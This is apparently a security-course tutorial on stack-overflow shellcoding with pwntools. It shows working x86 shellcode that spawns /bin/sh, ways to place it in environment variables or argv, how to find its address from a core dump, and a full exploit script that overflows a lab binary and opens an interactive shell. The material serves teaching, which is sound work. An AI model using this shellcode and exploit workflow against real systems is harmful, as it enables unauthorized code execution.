105 views
# candl: Shellcoding with [pwntools] **Objectives:** :::info 1. Learn how to put your shellcode 2. Learn how to find your shellcode in the memory 3. Learn how to connect to the shell after exploiting the Vulnerability ::: Related assignments: *stack-ovfl-sc*, *stack-ovfl-sc-envp*, *stack-ovfl-sc-no-envp*, *stack-ovfl-sc-no-envp-no-argv*, *stack-ovfl-sc-where* FYI, please refer to [the document of pwntools][pwntools] if you do not know how to use it: We will start with a script like following: ```python= from pwn import * # Please replace with your shellcode SHELLCODE="j2X\xcd\x80\x89\xc3\x89\xc1jGX\xcd\x80j\x0bX\x99\x89\xd1Rhn/shh//bi\x89\xe3\xcd\x80" SHELLCODE2="\x90j2X\xcd\x80\x89\xc3\x89\xc1jGX\xcd\x80j\x0bX\x99\x89\xd1Rhn/shh//bi\x89\xe3\xcd\x80" ``` `SHELLCODE` is for putting that as an environment variable, and`SHELLCODE2` is for putting that as a program's argument. ## Putting shellcode on the stack In the stack, there are many places that you can store your shellcode, but let's focus on the following three places: * Environment variable * The program's argument vector * Program name To set an environment variable, you can create a dictionary as follows: ```python { "NAME_OF_VARIABLE" : "VALUE"} ``` So we can set the shellcode as a `SHELLCODE` env variable. ```python # prepare a env env = { 'SHELLCODE' : SHELLCODE, } ``` To pass that into the target program, you can execute the process as follows: ```python # pass the env! p = process("./stack-ovfl-sc-32", env=env) ``` Or, if you want to put your shellcode as an argument vector, then you can set that as follows: ```python # prepare the program name and args argv = [ "unit3/stack-ovfl-sc-32", # program path first SHELLCODE2, # shellcode! "THE THIRD ARGUMENT IF YOU WANT TO PUT MORE", "etc." ] p = process(argv) ``` To check the address of the shellcode on the stack, we will first generate the core dump of the process and read it as a Corefile object. Let's run the following steps: ```python # generate a core dump first # remove core if exists if os.path.exists("core"): os.unlink('core') # Open a process # See http://docs.pwntools.com/en/stable/tubes/processes.html for # more options/functions to use p = process(argv, env=env) # this will generate a crash and also create a core dump file p.sendline(cyclic(512)) p.wait() ``` This will remove the existing corefile first, then run a process, and then supply a long input (cyclic(512)) that will make the program crash with SIGSEGV. After that, you can open the Coredump file as follows: ```python # See http://docs.pwntools.com/en/stable/elf/corefile.html for # more information for controlling the Coredump class # Get the core dump core = Coredump('./core') ``` With this object, you can observe several interesting things of the process: ```gdb [*] 'core' Arch: i386-32-little EIP: 0x6261616b ESP: 0xffffdd30 Exe: 'unit3/stack-ovfl-sc-32' (0x8048000) Fault: 0x6261616b # see registers print core.registers { 'xds': 43, 'eip': 1650549099, 'xss': 43, 'esp': 4294958384, 'xgs': 99, 'edi': 4160450560, 'orig_eax': 4294967295, 'xcs': 35, 'eax': 0, 'ebp': 1650549098, 'xes': 43, 'eflags': 66118, 'edx': 4160456816, 'ebx': 1650549097, 'xfs': 0, 'esi': 4160450560, 'ecx': 2147483385 } # see maps print core.maps 8048000-8049000 r-xp 1000 unit3/stack-ovfl-sc/stack-ovfl-sc-32 8049000-804a000 r-xp 1000 unit3/stack-ovfl-sc/stack-ovfl-sc-32 804a000-804b000 rwxp 1000 unit3/stack-ovfl-sc/stack-ovfl-sc-32 804b000-806c000 rwxp 21000 f7e06000-f7e07000 rwxp 1000 f7e07000-f7fb4000 r-xp 1ad000 /lib32/libc-2.23.so f7fb4000-f7fb5000 ---p 1000 /lib32/libc-2.23.so f7fb5000-f7fb7000 r-xp 2000 /lib32/libc-2.23.so f7fb7000-f7fb8000 rwxp 1000 /lib32/libc-2.23.so f7fb8000-f7fbb000 rwxp 3000 f7fd4000-f7fd5000 rwxp 1000 f7fd5000-f7fd8000 r--p 3000 f7fd8000-f7fda000 r-xp 2000 [vdso] f7fda000-f7ffc000 r-xp 22000 /lib32/ld-2.23.so f7ffc000-f7ffd000 r-xp 1000 /lib32/ld-2.23.so f7ffd000-f7ffe000 rwxp 1000 /lib32/ld-2.23.so fffdd000-ffffe000 rwxp 21000 [stack] # see mappings print core.mappings [ Mapping('unit3/stack-ovfl-sc/stack-ovfl-sc-32', start=0x8048000, stop=0x8049000, size=0x1000, flags=0x5), Mapping('unit3/stack-ovfl-sc/stack-ovfl-sc-32', start=0x8049000, stop=0x804a000, size=0x1000, flags=0x5), Mapping('unit3/stack-ovfl-sc/stack-ovfl-sc-32', start=0x804a000, stop=0x804b000, size=0x1000, flags=0x7), Mapping('', start=0x804b000, stop=0x806c000, size=0x21000, flags=0x7), Mapping('', start=0xf7e06000, stop=0xf7e07000, size=0x1000, flags=0x7), Mapping('/lib32/libc-2.23.so', start=0xf7e07000, stop=0xf7fb4000, size=0x1ad000, flags=0x5), Mapping('/lib32/libc-2.23.so', start=0xf7fb4000, stop=0xf7fb5000, size=0x1000, flags=0x0), Mapping('/lib32/libc-2.23.so', start=0xf7fb5000, stop=0xf7fb7000, size=0x2000, flags=0x5), Mapping('/lib32/libc-2.23.so', start=0xf7fb7000, stop=0xf7fb8000, size=0x1000, flags=0x7), Mapping('', start=0xf7fb8000, stop=0xf7fbb000, size=0x3000, flags=0x7), Mapping('', start=0xf7fd4000, stop=0xf7fd5000, size=0x1000, flags=0x7), Mapping('', start=0xf7fd5000, stop=0xf7fd8000, size=0x3000, flags=0x4), Mapping('[vdso]', start=0xf7fd8000, stop=0xf7fda000, size=0x2000, flags=0x5), Mapping('/lib32/ld-2.23.so', start=0xf7fda000, stop=0xf7ffc000, size=0x22000, flags=0x5), Mapping('/lib32/ld-2.23.so', start=0xf7ffc000, stop=0xf7ffd000, size=0x1000, flags=0x5), Mapping('/lib32/ld-2.23.so', start=0xf7ffd000, stop=0xf7ffe000, size=0x1000, flags=0x7), Mapping('[stack]', start=0xfffdd000, stop=0xffffe000, size=0x21000, flags=0x7) ] # see environment variables print core.env {'SHELLCODE': 4294959001} # see program arguments print core.argv [4294958847, 4294958906, 4294958943, 4294958986] # see stack mapping print core.stack ``` ## how to get the address of shellcode? ### Environment variables From the environment variables, you can just query the `Corefile.env` with the name that you gave for the shellcode. In the case of this example, ```python # from env; get the exact address of the SHELLCODE env variable addr = core.env['SHELLCODE'] print("Shellcode address from env: %08x" % addr) ``` This will give you the address of shellcode (in a 4 byte integer value). ```python -> Shellcode address from env: ffffdf99 ``` ## Argument vector The argument vector that this example puts to the program is as follows: ```python argv = [ "unit3/stack-ovfl-sc/stack-ovfl-sc-32", # program path first SHELLCODE2, # shellcode! "THE THIRD ARGUMENT IF YOU WANT TO PUT MORE", "etc." ] ``` The 2nd argument will be the SHELLCODE2. ```python # from argv; get the exact address of the 2nd argument vector addr = core.argv[1] print "Shellcode2 address from argv: %08x" % addr -> Shellcode2 address from argv: ffffdf3a ``` ### Find string from the stack You can actually find the string by the value. Instead of using core.env or core.argv, you can find your shellcode by running core.stack.find(): ```python # from stack; find the string value (the string in the SHELLCODE variable) addr = core.stack.find(SHELLCODE) print("Shellcode address from stack: %08x" % addr) -> Shellcode address from stack: ffffdf3b # from stack; find the string value (the string in the SHELLCODE2 variable) addr = core.stack.find(SHELLCODE2) print "Shellcode2 address from stack: %08x" % addr -> Shellcode2 address from stack: ffffdf3a ``` ### Running shellcode Let's use your shellcode to run a shell in the program and connect to it. Assume that we have stored the address of shellcode in the variable 'addr'. Let's open a process with our argv and env. ```python # Open a process p = process(argv, env=env) ``` To supply our address to the program, we must use `p32(addr)` (or `p64(addr)` for a 64-bit program) because the addr is an integer address value. We need to change that as a string using either p32() or p64(). ```python # prepare an exploit string exploit_string = p32(addr) * 100 ``` Before running the exploit, you can store your current exploit string as a TEXT file to use it for debugging. ```python # Print your exploit as a txt file. # You can use this in gdb, e.g., # pwndbg$ r < exploit.txt with open("exploit.txt", "wb") as f: f.write(exploit_string) ``` After that, let's send the string to the program. ```python # send the exploit p.sendline(exploit_string) ``` This will invoke the shell, however, just doing so will do nothing. You might want to deliver your command from your hand to exploited shell. The following function will open a pipe from current STDIN to STDIN of spawned shell, and also from the STDOUT of the shell to the current STDOUT, vice versa. ```python # get an interactive pipe print p.interactive() ``` Have fun! ###### tags: `candl`,`shellcode`,`bof` ---- [pwntools]:http://docs.pwntools.com/en/stable/index.html